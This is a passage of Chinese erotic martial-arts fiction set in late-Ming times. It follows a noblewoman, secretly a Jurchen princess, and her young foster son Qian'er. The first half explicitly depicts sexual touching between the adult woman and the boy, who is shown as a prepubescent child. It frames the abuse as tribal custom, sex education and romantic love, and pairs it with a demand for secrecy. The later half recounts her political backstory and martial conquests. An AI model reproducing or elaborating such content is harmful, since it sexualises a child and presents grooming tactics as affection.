肥臀更是令人血脉贲张,好一个风华绝代、雍容华贵的中年美妇!

她脸上那种娇羞含蓄的神态,又使她看起来是那么的娇媚欲滴,更加容易引
起男人征服的欲望。

为配合大法的施展,夫人又对千儿嫣然一笑,笑得一脸的柳媚花娇,她打算
以此大法作为令千儿尽快成熟的催化剂。她知道男孩子不象女孩那般早熟,通常
要到弱冠之年才能真正成熟起来,若不利用自己美艳的容貌和丰腴性感的魔鬼身
材,并采取这种特殊的手段来催熟千儿,那她还得等上一两年的时间,才能和千
儿真正意义上地谈情说爱,吸纳千儿的肉体和童子精华,这如狼似虎的风韵徐娘
哪里还等得及?

这一年来,夫人每每在修习内功心法时,脑海中总是会浮现出春梦中和千儿
在一起的亲密幻像,一股由下体勃勃升起的情欲困扰着她,令她无法将心跳平息
下来,最近这种现象出现得更加频繁,好几次几乎弄得她练功走火入魔,因此最
近夫人才不得不采取这种特殊手段来诱惑千儿。


(四)

吹灭蜡烛后,夫人象往常一样上了床,并小心翼翼地揭开被角,钻进千儿暖
烘烘的被窝里,主要是怕敞了风,害他着凉。王夫人本来很想把自己脱得一丝不
挂地上床睡觉,给千儿以更大程度上的肉体感官刺激,但为了怕露出自己那有些
不雅观的微微隆起的小腹部,以及已经有些下垂的大乳房,被千儿看得清清楚楚,
同时也让自己的身体对千儿保留一点更有诱惑力的神秘感,她不得不穿上这身春
光外泄的半裸性感装束。

来自于中年美妇成熟丰腴肉体上的那股浓郁的骚媚体味,以及来自于千儿身
上那股与生俱来、且愈发浓郁的乳香味儿,相互刺激着对方的性神经,二人不自
觉地向对方的身子靠拢。

可是不知怎地,今夜夫人翻来覆去地睡不着,此时她的脑海中,老是浮现出
十天前那个夜里,花影和千儿抱在一起纵情交欢那一幕……每当想起当时她在窗
外看见的火辣场面,她就会忍不住妒火中烧!然而那令她倍感屈辱的一幕,偏偏
又令她感觉无比刺激,那种异样的刺激竟令她的情欲变得无比亢奋!

一般来说,人们在白天的时候自制力较强,但到了晚上睡在床上夜深人静的
时候,人的胆子就会变得很大,想象力也会变得特别丰富,任由自己的思绪毫无
边际、肆无忌惮地胡思乱想,也可以肆意地幻想着隐藏在自己内心深处那些离经
叛道甚至变态的场景,就连世上最为禁忌之事也敢于用思想去触摸,享受由它说
带来的那种无比刺激的快感。意淫往往就诞生于这样一个美妙的时刻。

这一年来,夫人每天夜里在上床睡觉前,一直都是穿着那身半透明的红色睡
袍,并故意做出一些淫荡挑逗的媚态给千儿这根木头疙瘩看,甚至直接刺激他身
上的敏感部位,希望能令他产生生理上的反应,然而她煞费心思为千儿所做的这
一切统统都无济于事。此事令夫人很是沮丧!

而最令夫人生气的是,在十天前那个夜里,花影,这个她一直瞧不上眼的荡
妇,却轻而易举地就和千儿勾搭上了!这主要是因为夫人对男人还不太了解,男
人要的女人是「在外是淑女,上床是荡妇」这样的类型,花影成功的关键就是夫
人最瞧不上眼的「荡妇」二字上面。

今夜夫人就是因为这个原因久久无法入眠,不过生气归生气,当时花影和千
儿交缠在一起的那幅活春宫般的火辣辣场面,对她感官上的刺激简直比兰儿的烈
性春药还要厉害,主要是因为其中有她最心爱的宝贝千儿,她亲眼目睹了千儿那
根无毛的小鸡鸡勃起后,居然会有那么长、又那么硬,这对夫人的性欲有着一种
无以伦比、无比强烈的刺激作用!

但见夫人媚眼如丝,双颊潮红若桃花一般鲜艳,一付春心大动的样子。辗转
悱恻之间,夫人一不小心将她身边的千儿也给弄醒了。

千儿嘟囔着道:「今天夜里真是好冷啊!」其实夫人卧室里燃烧着火炉,睡
的又是热炕,怎么还会冷?这主要还是千儿先天有些气血不足,身子单薄,加上
他有很挑食,所以才特别怕冷。

夫人摸了摸他的手,感觉果然冷冰冰的,忙怜惜地拉过他的双手,同时习惯
性地将千儿的双手塞进她那温暖的大腿之间,紧紧地夹住了替他暖手。

在夫人的家乡,那个以游牧狩猎为生的部落里,由于存在「收继婚」这样一
种古老的婚俗,部落里的女人们很明白,丈夫若比自己先行离世,自己迟早会改
嫁,而且最大的可能是改嫁给自己的儿子,哪怕到时他还是个小孩子,当然非自
己所出的继子的情况占多数。

汉代有名的「昭君出塞」,王昭君和亲匈奴,丈夫去世后就曾改嫁大阏氏的
长子、自己的继子雕陶莫皋单于。

汉代另一位和亲乌孙的解忧公主,和一位匈奴公主同时嫁给乌孙王军须靡,
解忧未生育,但几年后匈奴公主生下一子,就是后来的狂王泥靡。军须靡死后,
二位公主又一起改嫁给丈夫的堂弟肥王翁归靡,解忧给第二任丈夫生下了长子元
贵靡,并被肥王立为王储。翁归靡死后,已届不惑之年二位公主再次改嫁给匈奴
公主之子、解忧的继子狂王泥靡,丰腴健美、生性爽朗的解忧还为年轻的狂王生
了一个儿子叫鸱靡。后来狂王被刺,乌孙被分为大小两国,解忧的长子元贵靡成
为大国王,也曾打算按乌孙习俗迎娶解忧,但这种被中原人视为亲生母子乱伦的
婚姻被解忧坚决拒绝了。

在这种习俗下,在夫人的部落里,妇女们往往特别溺爱儿子,其中除了本能
的母爱,往往把儿子或继子看作自己未来的丈夫,还有部分性爱的成分在里面。
所以那些部落里的女人,恋子情结非常普遍,在儿子或继子进入青春期之后,尤
其是当女人感觉丈夫已活不了多长时间之时,常会亲身对儿子或继子进行性爱方
面的指导。

夫人此刻就是在对千儿做同样的性指导。由于半年前她就曾经教过千儿如何
玩这种刺激的性游戏,千儿的手也就习惯性地伸进了夫人的亵裤,在她的下阴部
上面摸索起来,还天真无邪地问夫人:「乾娘,您和二夫人这个地方怎么长了这
么多毛毛啊?为什么我这个地方却一点毛都没有呢?」

夫人斥道:「不要在我面前提起那个荡妇!」

随即又控制住自己的情绪,曼声应道:「傻孩子,大部分成熟女人这地方都
会长出阴毛,只不过我的特别多罢了,你长大成年后也会慢慢地长出来的。」虽
然千儿这种举动很放肆,但夫人毫无排斥之意,她甚至还觉得十分刺激。

千儿的手指继续深入,进入了中年美妇那条翻得很开的大肉缝中,摸向她的
蜜道口边,捏住女人凸挺的阴蒂玩耍,同时又叫道:「哎喲!乾娘,您这地方怎
么老是这么多水,而且尤其今晚特别多,黏乎乎地弄得我一手都是!您是不是经
常尿床哇?」

的确,若以女人发情时乳房发胀、奶头涨大、下阴部骚痒的厉害程度,以及
女人下阴部流出的淫液的多寡,来考察她那女性生殖器官的生育能力、性爱能力
以及男女交合时性生理反应的敏感程度,夫人已经超过了几乎所有的年轻姑娘和
中年女人,甚至超过了她自己年轻的时候。

这位美艳的贵妇真不愧是个一代尤物,她也一直认为将来只有自己才能在房
事方面令千儿得到最大限度地满足。

夫人的呼吸开始有些急促起来,但她仍然耐心地解释道:「那……那是女人
动情时流出的水水,哪里是尿床了。」

千儿一向话多,这时又在说废话了:「咦!乾娘这地方怎么没长根小鸡鸡呢?
我都有哩。」他本来想说二夫人也没有,但想起乾娘的忌讳又把话咽了回去。

这如狼似虎的中年贵妇被千儿给摸得浑身都颤抖起来,腻声道:「我的亲亲
小宝贝儿,你是男孩子的当然有了,乾娘是个女人,怎么会有那个丑东西呢?难
道你没摸出来,乾娘那个地方儿有个涨鼓鼓的肉包儿,那是女人的阴户,上面有
条裂开的长长的肉缝儿……」

千儿用手指揉了揉那条已翻开的大肉缝儿,感觉肉缝儿里里外外都糊满了黏
乎乎的水水,不由得问道:「女人的这个地方都像乾娘这个样子么?张得开开的,
好多水水哦!」

夫人腻声道:「未婚的年轻女子不一样,那条肉缝儿是紧紧闭合在一起的,
水水也没乾娘这么多。只有乾娘这样的已婚妇人,那儿才是裂开的,女人年纪越
大那条肉缝儿也张得越开。女人在动情的时候,才会流出这么多水水。」

千儿的手指继续探索着:「乾娘,千儿一直很奇怪,您这地方没小鸡鸡也就
罢了,为何反而有个洞儿哩?乾娘这个肉洞儿也是张开的,难道也和未婚女子不
同么?」

夫人被挠得「嗷」地叫了一声,勉强压制住心中的痒痒,耐心地解释道:
「那个肉洞儿就是你们男人所说的屄,我们女人生孩子就是从那个地方生出来的。
不错,未婚女子的屄也是紧紧闭合着的,而且洞口还有层处女膜覆盖着。看来我
的宝贝儿还真聪明,懂得举一反三的道理呢!」

话音未落但觉千儿的一根手指已挠入肉洞儿之中,夫人忍不住又娇吟几声,
喘息渐渐急促起来。她定了定神,又接着说道:「在乾娘的家乡,但男孩子进入
青春期后,作继母的通常就要亲身教导儿子,让他体验一下女人身体上最隐秘之
处到底是什么样子。如今你已长大,乾娘也该象这样教教你了,免得你娶了媳妇
儿之后还是傻乎乎地什么都不懂。」

千儿道:「乾娘的家乡不是在燕京么?那儿的继母都要教儿子这些么?」

夫人沉思片刻,才缓缓地道:「燕京的女人不会这样,整个中原的女子都没
有这样的习惯。我的家乡并非真的在燕京,那是骗别人的说法,乾娘可以骗尽天
下人,也不会骗你,不过此事说来话长,待有闲时我会慢慢地告诉你。你也要答
应乾娘,绝对不能对任何人说起。」

千儿见夫人说得如此郑重,忙点了点头道:「我绝不会乱说的!若是真的很
要紧的机密,乾娘还是不用告诉千儿的好。」

夫人没有再继续纠缠于这个话题,接着说道:「乾娘还是先继续教教你吧,
女子成年后若要想怀孕生孩子,首先得和男人进行阴阳交合,而男女交合的姿势
虽多,但本质上其过程就是把你这根小鸡鸡塞进女人的屄洞儿之中来回抽动,直
到小鸡鸡在里面射出精液为止,有时那些幸运的女人还能得到高潮,高潮来得特
别剧烈时,还会泄出阴精!」

千儿问道:「那乾娘您呢,泄出过阴精没有?」

夫人忍不住将手也伸向千儿的下体,试图把那根小辣椒给弄得翘起来,同时
娇媚地笑道:「喔!小宝贝儿,你……你摸得我那……那儿好……好痒!我也要
摸你的小鸡鸡!你那位干爹本就无能,我们婚后同房,每次他都很快就射出来了,
我怎么会得到满足?而且这十年来我越来越讨厌他,行房事时的质量更差。想起
来我真是不幸啊!作为一个女人,都活了四十年了,除了屄洞儿被弄得又宽又大
外,几乎还还未到过高潮,更不用说享受泄身时那种高潮来临的消魂滋味了!」

千儿天真无邪地安慰道:「乾娘不用难过,您不是才教过我男女交合的方法
么?不就是把我的鸡鸡插进您下面这个肉洞儿里面去嘛,您的屄洞儿这么宽大、
那么湿滑,我的鸡鸡又不大,应该是能进得去的,乾娘就试试和千儿阴阳交合一
次,也许我能让您得到高潮呢!」

夫人趁机板起脸教训起千儿来:「你以为跟谁都可以随便这样乱来么?那要
相亲相爱的一对恋人之间才可以,就乾娘来说吧,只有我真心爱上的那个男人,
我才会和他如此亲热,而天下真正能让我动心的男人只有一个而已,以后也绝不
会再有第二个了!兰儿那癞蛤蟆也想吃天鹅肉,自然是自寻死路!我哪象你,随
便什么样的贱女人你都肯跟她交合,一付色迷迷的样子,想起来我就生气!」

千儿是个天生的风流种子,对这个问题的看法显然和夫人并不一致,却又不
便和夫人辩驳,脸上流露出欲言又止的神色。

夫人见状又循循善诱地道:「晚饭时你还说过,以后要娶我为妻,说明你也
是喜爱我的。你和乾娘之外的女人上床就是不对,知道了么?」

千儿只好认错道:「嗯,千儿是错了,不是都对您认过错了么?对了,乾娘
刚才所说您爱的那人就是干爹咯?」

夫人啐道:「哪会是他,凭他也配么?我从来就没有爱过他。」

千儿奇道:「您不是说只有相爱的恋人之间才可以阴阳交合么?既然您不爱
干爹,为何又要和他……那个呢?」

夫人叹息道:「那是一桩为了家族利益促成的婚姻,原本就非我所愿,不过
既然是夫妻,行夫妻之礼倒也没什么不对,只是乾娘不太愿意罢了。既然提及此
事,我倒要问你,我这样对你,你……你难道没有任何感觉么?」

千儿挠挠头道:「您是我乾娘,当然对我很好咯,没什么感觉啊?」

夫人含情脉脉地道:「我可不是仅仅因为是你乾娘,才对你好。若乾娘对你
仅仅是母爱,怎会把女人最隐秘的地方让你看,还随便让你摸呢?女子唯有对自
己心爱的男人,才会任由他这样做哩!」

千儿睁大了双眼,似懂非懂地道:「您是说……是说……」

夫人颔首道:「我的宝贝儿一向聪明,你应该明白我的心了吧?那位唯一能
让我朝思暮想、午夜梦回魂牵梦绕的心上人,就……就是你这个害死人不偿命的
小魔王呀!」

千儿:「还真……真是我啊?」

夫人气道:「当然!要不然为啥那天夜里你竟然跟花影那贱人在一起鬼混,
我会那么生气?你是这世上第一个,也是唯一一个让我真正动情的男人,每次我
跟你分开的时候我都好想你,连夜里做梦也总是梦见你,这种感觉真的好奇妙!

本来我也以为这是女人天性的母爱之情,但后来发觉远不止这些,因为我早
就不想再作你的干娘,也不想再作你的师父了,我一心一意地只想作你的女人,
替你生儿育女的妻子,干娘对孩子的母爱显然不应该是这样子的。」

说完这些,以夫人那种特立独行的性格,也依然有些害羞,她那张千娇百媚
的玉颊居然绯红起来。其实越是卓尔不群、惊才绝艳的女子,性格就越独立也愈
加固执,这样的女子不会轻易动情,可一旦遇上心爱的男子,便会效春蚕作茧自
缚,陷入情网之中难以自拔,百炼精钢也会化作绕指柔,作出些小女儿姿态。

夫人就是如此,但她依然鼓起勇气,以一种细若蚊呐、娇柔深情的语调向千
儿细述衷肠,她必须要借次机会表达出她对千儿的爱意。

千儿听罢,若有所思地道:「哦,我明白了,怪不得您的内室从不让男人进
来,却愿意我跟着您睡,我还以为是干娘特别疼我哩,那我和您亲热总没有什么
不对了吧?」

夫人摇了摇头:「光是我爱你还不够,还要你也是真心爱我才行。恋人之间
必须要心心相印、相亲相爱,这样才能达到心灵与肉体双双结合的最高境界,也
只有这样我才能得到真正的满足,要不然我随便找个男人就行了,何苦熬得这么
辛苦,就为了等你。所以我很在乎,你是不是也真心实意地喜欢我?」

千儿很认真地道:「您对我这么好,我当然真的喜欢您了!」这家伙年纪不
大,情商实在很高,似乎天生就懂得在什么情况下该说什么,又不该说什么,尤
其是在女子面前。他知道夫人不愿再作他的干娘或师父了,马上便改了口。

夫人一把将千儿揽进怀里紧紧地拥抱着,颤声道:「我好高兴,今夜真是我
一生中最幸福的时刻,我是世界上最幸福的女人!晚餐时你说以后要娶我为妻,
我虽然也很高兴,但总以为是孩子家随便说说而已,当不得真,现在我已相信你
是真的喜欢我了!」

千儿道:「本来就是嘛,从小到大一直是您在照料我,我不喜欢您还会去喜
欢谁呢?」

夫人笑靥如花,心情分外愉悦:「以后如果你遇见另外的女子,她也像我这
样对你,你也会跟她好么?」

千儿不假思索地道:「谁对我好,我自然也要对她好。」

见夫人脸上风云变色,千儿忙又接道:「当然啦,对她好那只是人之常情,
并不代表我也会喜欢她。」

夫人这才容色稍霁,沉吟半晌之后,才有些沉重地道:「千儿,你虽然已经
跟了我十来年,但我心里的许多秘密你仍然不了解。这些秘密已经沉甸甸地压在
我心里二十多年,由于其中干系太大,我从未对人提及。即便北风那四个我绝对
信得过的丫头,所知也极为有限,往往是在派她们出去执行任务时,才会将相关
内情告知她们。可是我左思右想,觉得彼此相爱的情侣之间,是不该有所隐瞒的,
我觉得是时候告诉你实情了。」

千儿探人隐私的好奇心并不是很强,但他不愿扫她的兴,便随口问道:「这
些秘密很要紧么?」

夫人语气沉重地道:「是的,它关系到家国之兴衰、天下之苍生,我想我还
是先简略说说我的身世把。我其实并非中原人,家乡也不在燕京,而是出生于关
外白山黑水之间的女真部落。」

千儿仰头思索半天,神情茫然地摇了摇头,问道:「女真部落,我可从未听
说过这个地名啊?」

夫人笑道:「你还小,那地方又不在中原,离此地很远很远,你当然不知道
了。我们女真各部的龙兴之地,还在比那儿更加遥远的北方呢,那儿除了森林就
是草原,族人以游牧狩猎为生。那儿的冬天寒风刺骨,积雪盈尺,你这样的小身
子骨,在旷野你只需待上一两个时辰就会活活被冻死。所以,我们的祖辈们才带
领族人南迁到了图们江边、长白山脚下,也就是人们常说的白山黑水之间。」

千儿忍不住打了个哆嗦,他可是最怕冷了,说道:「您从小在那儿长大,难
道就不怕冷吗?」

夫人脸上露出无比怀念的神情:「我才不象你那么怕冷哩,我很习惯家乡的
气候,你没见我长得高大健美,跟中原女子很不一样么?我们那儿的女子个个都
跟我差不多,身体强壮,性格豪爽坚韧,对敌时可以和男儿一起上阵冲锋陷阵,
才不象中原女子这样小家子气!」

千儿故作很江湖地拱拱手道:「难怪您英风飒爽,气势上有股丝毫不亚于男
子汉大丈夫的英风豪气哩!」

夫人被他逗得扑哧一笑,啐道:「跟你说这么重要的事儿,你居然还有心情
插科打诨?这事儿要是说出去,弄不好会害你丢了小命儿,懂么?」

千儿伸了下舌头,忙陪笑道:「没事儿,您说得那么沉重,活跃活跃气氛而
已!您接着说,我再不打岔了。」

夫人淡淡一笑,又正色说道:「我本出生于女真部落首领之家,父亲名叫埃
辛季诺。怒而呵斥,母亲是父亲原配夫人童嘉氏呵呵拉闸勤,我真正的名字叫慕
容紫烟,王迎香只是我的化名。我是家里的长女,下面还有十几个弟弟和几个妹
妹。」

千儿忍了半天,很想打岔可又不愿食言,一张粉妆玉琢的俊脸都憋红了。夫
人……哦!后文该改称她为慕容紫烟了,瞄了他一眼,笑道:「怎么啦,有什么
问题么?本娘子特许你打岔一次。对了,你既已知晓我的真名,以后有人在时你
仍叫我干娘或师父,但私下里,我喜欢你叫我娘子,或者叫我紫烟。」

千儿点了点头,疑惑地问道:「娘子……」他实在很想讨乾娘欢心,特意叫
得这么亲热,可这叫法来得突兀,他不由得左顾右盼:「若是老爷听见我这样称
呼您,他非揍死我不可!」

慕容紫烟冷哼一声:「你大可不必怕他,他若敢动你一根毫毛,我就要他的
命!哼,若非看他是我两个女儿的生父,早就让他见阎王去了!」

千儿轻轻咳了一声:「我是想问娘子,您父亲不是姓埃么,嗨!这种姓氏还
真少见,您怎么却又姓慕容呢?」

慕容紫烟忍不住又是扑哧一笑:「我爹不是姓埃,而是姓埃辛季诺,女真语
言和汉语不同,把姓名按发音翻译成汉语后就显得比较长。不错,我的女真本名
原叫埃辛季诺。瞳廓,族人称我为瞳廓格格。我祖母出身于慕容鲜卑遗族,她有
个侄孙女就名叫慕容紫烟,也是我爹的养女,比我小两岁,我觉得她的名字好听,
便私下对换姓名叫着好玩儿,谁知后来就叫习惯了,加上我跟她长得很像,族人
渐渐也都跟着我俩这样称呼了。由于父王十分疼爱我这个长女,加上我自幼跟随
名师习武,武功高强又极善谋略,小小年纪便能跟随父王带兵打仗,而且屡战屡
胜,父王也由得我偶尔耍耍小性子,反正两个都是他的女儿嘛,怎么叫都一样,
到后来他偶尔也会叫我紫烟。谁知我俩交换姓名之事,在后来竟阴差阳错地弄假
成真。女真各部出于政治和军事上的需要,各部落首领之间经常以联姻的方式来
达到相互联合的目的,在我才十多岁的时候,女真五大部落之一的东阿部首领赫
赫里便上门求亲,希望娶我为继室,并表示联姻后,他愿意率部落归附于我们部
落,我父王自然舍不得自己的爱女兼得力助手去作别人的小老婆,又不愿失去这
样一个愿意加盟的强大部落,便将错就错,将和我换名的养女『瞳廓格格』许配
给了赫赫里。我记得婚礼那天,还差点被赫赫里的悍妻筛糠所阻。筛糠也是个女
中豪杰,人不仅漂亮,还能挂帅打仗,性情直率泼辣,赫赫里对她是又敬又怕。
最后还是父王好言相劝,婚事才得以完成。自那以后,我就成了父王膝下的『养
女』『慕容紫烟』,不过我还真喜欢这个名字。这可是个天大的秘密,除了父王
和我之外,在没有第三个人知道,虽然已是二十多年前的陈年旧事,但也绝对不
能泄露出去。赫赫里现在已是父王手下最得力的五大干将之一,被他知道自己娶
的是父王养女,他非反了不可!呵呵!」

千儿嘻嘻笑道:「汉代和亲塞外的公主之中,有些并非真正的公主,也有皇
上舍不得自己的亲生女儿远嫁塞外,以自己的养女甚至是宫女来冒充公主出嫁,
大名鼎鼎的王昭君和亲匈奴便是这样。没想到娘子的父王也懂这一招哇,哈哈
……」话说完了还忍不住,一直在咯咯咯地笑个不停。

慕容紫烟皱眉道:「你又在取笑我……你是不是笑我身为女子,怎么可能带
兵打仗还屡战屡胜?取笑我是在吹牛吧?我告你!我们塞外女真各部不逊须眉的
巾帼英雄多了去啦!父王手下除了我武功和战功第一,另外还有好几位能征惯战
的女将,椒箕就是其中战功最为显赫的。」

大冷的天儿,千儿却听得汗水都快下来了:「我不是笑这个。虽未吃过猪肉,
难道还没见过猪跑么?娘子的厉害我即便没领教过,难道还没见过么?」

慕容紫烟嗔斥不已:「好哇!你敢把我比喻成丑陋的肥猪?看本娘子怎么收
拾你!说!你到底是在笑我什么?」说完一手把住千儿的小鸡鸡,一手挠他痒痒
肉。

千儿最怕她这一招,因为慕容紫烟最清楚他哪个部分最怕挠痒,就专挠那儿。
他万分不情愿地、却又熬不住笑得浑身打颤:「好……好娘子饶了我吧……咯咯
咯……我是在笑,咯咯……你们那地名儿和人名儿,咋都那么长啊,听得我头都
晕了。而且,名字都好搞笑,您没觉得么?比如您爹的名字听起来似乎很爱发怒
和骂人,而您娘的名字则好象经常哈哈笑着拉闸灭火,劝您父亲不要发火,咯咯
咯……」

慕容紫烟发狠道:「你连未来的老丈人和丈母娘都敢取笑么?活得不耐烦了,
看我使出第二招收拾你!」说完作势欲下狠手。

千儿惨叫一声,忙讨饶道:「好了好了,我再不敢了!我还想问你,既然娘
子贵为女真各部公主,怎会千里迢迢地嫁到中原来了呢?」

慕容紫烟玉颊之上不由露出凄然之色:「出生于王族表面上地位显赫,奴婢
无数,然而却多半命运多桀,除了父王那位养女之外,我家姊妹几个最终都没能
逃过政治联姻的下场,也没有一桩婚姻是幸福的!二十二年前,也就是万历二十
一年(1593年,作者注),正值万历三大征同时爆发的第二年,我们辽东女
真各部之间也是战乱不止,父王和我率部南征北战,攻城无数,又击败和吞并了
九部三万联军,在那一年统一了女真各部落。北风她们四个丫头,以及她们手下
部分剑主和按察使,便是这九大部落以及女真各部阵亡领主或贵族之女,当时大
都只有一两岁左右,小小年纪便成了孤儿。我见她们可怜,便收在了我身边,指
派保姆抚养她们长大,在她们只有五六岁的时候,就在我的督导下,指派严师对
她们进行极端严酷的心理和身体训练……」

千儿喃喃地道:「原来北风她们也并非中原人氏啊。」

夫人道:「当然,中原女子娇弱不堪,怎会象她们那么厉害!统一女真各部
之后,我部声威大震,父王为进一步扩充实力,便上表天朝,希望能挥师入朝,
协助辽东总兵李如松讨伐入侵朝鲜的日酋丰臣秀吉。但天朝明显对我们心怀戒备,
神宗不仅下旨不让出兵,且不顾三线作战,分兵监视我们。据父王和各部元老们
商议的结果,普遍认为神宗一旦结束这三大战事,下一个要对付的目标肯定是我
们女真部。而我们的实力和天朝相比不啻于蚂蚁和大象,要想部族生存下去就必
须未雨绸缪。当时我已看出,万历朝其时虽仍貌似强大,但神宗已不复年轻时的
励精图治,开始深居禁宫,嗜酒、恋色、贪财、尚气的私欲大肆发作,以采木、
烧造、织造、采办为名搜刮民财。万历十九年神宗又派宦官为矿监税使,四处搜
括人民,使百姓怨声再道,造成民变频繁。万历二十年神宗又分别出兵宁夏、朝
鲜和西南地区,三路同时出征,丧师、耗银无数,兵连祸结,国库空虚,百姓更
加遭难。而天朝之所以还能支撑下去,主要是依靠来自富庶的沿海地区源源不断
的财富支持。当时中原首富当属济南周氏龙和江南李廷弼,济南距关外相对近一
些,当时山东附近还有王自简起义,我们便打起了周氏龙的主意。希望能釜底抽
薪,努力截断这个天朝的主要财源之一,另一方面也想借助他的财富继续煽动山
东附近的农民起事,进一步削弱天朝实力,使得天朝无力再对我女真部用兵。」

千儿道:「娘子就是因为这个嫁给了干爹?」

慕容紫烟长叹一声,摇了摇头道:「起初并无和周家联姻的打算,是我主动
请缨,投身于燕京豪绅王志浩家,化身为他的长女王迎香。王志浩早年在辽东经
商,和父王是莫逆之交,并早已认我为义女,自然愿意帮忙,而且真的把我当作
亲生闺女一般看待。义父和周氏龙生意上有许多来往,这是我投身义父家的主要
原因。当时我的计划是,以向周氏龙举荐一流保镖的方式,让我手下武功高强、
心思慎密的心腹混进周府之中,然后暗中给我通风报信、里应外合,选择最佳地
点打劫周府缴纳朝廷的镖银,断掉朝廷这条重要财源。当时这个计划已部分成功,
我有两个心腹经不知底细的义父推荐,已进入周家,只是短时间内无法混入核心
圈,难有大的作为。有一次周氏龙到燕京有事儿,顺便登门拜访我义父,听我义
父说起我自幼师从名师,武功了得,便提出想见见我这样一位巾帼奇女子。当时
我已在中原武林闯荡过一些日子了,并非没见过世面的小家碧玉,也就不避嫌疑,
出来和他见了一面,才知他也不过才三十岁出头。谁知周氏龙见我之后竟惊为天
人,当时他文君新寡,于次日再次亲自上门求亲,希望娶我为妻。这突如其来的
变化完全打乱了我的计划!我只好连夜赶回辽东,和父王和族中元老们商议。元
老们认为,和周家联姻是控制周家最直接的办法,周氏龙虽是续弦,但原配新丧,
我嫁入周家后仍为正室。在我们部落里,自来长女如母,往往意味着沉重的责任。
为了我女真部族能够在天朝的卧榻之侧继续生存下去,父王和我只好答应了这门
婚事,并以义父嫡长女的身份嫁给了他,也算得上门当户对吧。」

最后这句话颇有自我解嘲之意!

千儿叹道:「没想到其中经过竟如此曲折复杂啊!」

慕容紫烟显得有些激动:「我们女真部族与中原世代为敌,我的曾祖父和祖
父一心讨好天朝,为辽东总兵李成梁的明军作向导,讨伐对天朝有不臣之心的王
杲、阿台图父子,未曾想在战乱中却反被明军所杀。而且天朝一再支持和我们敌
对的叶赫等部落,以此来打击和削弱女真部实力,所以我恨透了中原汉人,连带
着对丈夫更是充满了鄙视和厌恶,正是他毁掉了我的青春和幸福!」

说到这儿,她那双美丽的大眼睛已珠泪盈眶,泫然欲泣。如此一位意志坚忍
不拔、豪气冲天的铁娘子,只有在千儿面前才会露出内心中最为脆弱的那一面,
每当独自面对千儿之时,她总是感觉特别放松。

千儿搂住她的腰肢安慰道:「您不要伤心了,不是还有我陪着您么?」

慕容紫烟动情地紧紧拥抱着他,嫣红的玉颊轻轻地摩挲着千儿的额头,话语
中透露出千般深情、万分爱意:「你就是上天派到我身边来陪伴我的可爱小天使,
以补偿以前给予我的坎坷命运。你给我的灵魂带来了光明,让我知道人世间除了
逐名逐利、勾心斗角和相互残杀之外,还有至性至情的真爱。嫁到这儿来的那十
二年间,可说是我人生的最低谷,嫁给一个不爱的人,远离自己的家乡和亲人,
心中的苦楚无人可以诉说!可我生来就有一种不甘沉寂,也不愿认命的坚韧性格,
遇上绝境也绝不认输。我自幼体质特异,出生时比正常婴儿重了三倍,娘生我时
差点难产去世,而且天生力大无穷,十来岁便成为部落跤王,女真第一勇士塔塔
巴也败在我手下。上天赋予我无比强大的力量,又让我机缘巧合得遇名师指点,
让我能够驾轻就熟地运用这股巨大的力量,使我拥有了至高无上的强大武功。我
变得野心勃勃,积蓄已久的强大力量在我体内汹涌澎湃,我的身体渴望来一次极
为猛烈的火山爆发,任由炽烈的火焰直冲天际,我要爆发出万丈光芒!让我体内
无比充沛的能量、心里无限的屈辱和落寞,来一次猛烈而彻底地释放!」

她的音调仿佛一段乐章由低渐高、然后突然进入高潮一般,到后来竟变得高
入云霄、尖锐刺耳,震得千儿的头轰然作响,感觉耳膜都要被刺破了一般。她那
双美丽的杏眼中精光暴射,令人不寒而栗!自她的身上也刹那间散发出一股遨游
九天之上、睥睨天下之慑人威势,这股强悍绝伦的无敌气势就象是有形的力量,
来得那么浑然而天成,仿佛她原本就是至高无上的人间女主,天生要让人顶礼膜
拜!

傍在她身边的千儿,此刻的心情已不仅仅是用顶礼膜拜可以形容,他俊脸苍
白,眼中露出惊惧之色,心里升起一股冰冷刺骨的寒意并蔓延全身,不由得微微
一颤。

由千儿的异状,慕容紫烟察觉到了自己的失态,忙又紧了紧千儿的身子,让
自己高亢的音调又逐渐转为轻柔,宛如华丽乐章那段狂风暴雨般的高潮过去之后,
通常会迅速变得低沉而哀婉一般,慕容紫烟的眼神又流露出些许萧索:「由于我
以武力渐渐暗中控制了周家上下,押解周家产业上缴朝廷钱粮的明军部队常常被
我手下截获,加上万历三大征前后持续十多年,暂时无力对付辽东女真。于是我
开始遨游神州,以一身黑色衣裙、面罩黑纱行走江湖,四处挑战武林各地成名已
久的一流高手,各帮各派的掌门宗师或长老们,几年时间内历经大小近百次搏杀,
一路所向披靡,每战必捷。随后于十二年前击败武当掌门,十一年前破掉少林大
小罗汉阵后又击败掌门枯佛禅师。」

千儿崇拜地道:「娘子真的好厉害哦!后来呢?」

慕容紫烟似已陷入回忆之中,凝目思索片刻之后才缓缓地道:「这一连串辉
煌的战绩让我扬名天下,也彻底激发了我征服这些武林帮派的欲望和本能。我们
女真各部之间从来都是弱肉强食、强者为尊,征服其他部落的地盘,掠夺其他部
落的粮食、财物、奴隶和女人,这是我们的生存法则,也是种本能,无法征服别
人,就只能被别人征服或消灭。我心想,我既为强者,光有虚名何用?为何不能
为尊呢?我决定要做武林之主,建立起自己的庞大江湖势力,和父王遥相呼应。
若天朝真的出兵讨伐父王,我便利用散布各地的江湖帮派力量群起作乱,并乘势
挑起各地农民起义,必然会耗费天朝的大量国力和军力,可以大大降低我女真被
消灭的可能性。于是我开始各个击破,以我的武功和谋略,采用武力征服和收买
人心两种手段逐一吞并这些江湖帮派。第一个目标的选择很有讲究,首先实力要
稍弱,其次是不能太起眼儿,而有幸被我选中的,则是昆仑剑派。」

千儿还小,是非观念不是很强,更谈不上什么精忠报国,他只是觉得夫人就
象是在讲故事,一个很精彩的故事,此刻他又忍不住问道:「昆仑远在西陲万里
之外,娘子为何要舍近求远呢?」

慕容紫烟笑道:「正因为昆仑派离中原很远,平时又很少有门人在江湖上走
动,在我下手时很容易封锁消息,便于以后暗中对各帮派下手呀!我现在还记得,
十二年前的那一天,我亲自挑选了三十名精锐属下,各乘一只异种大金雕飞赴昆
仑山。」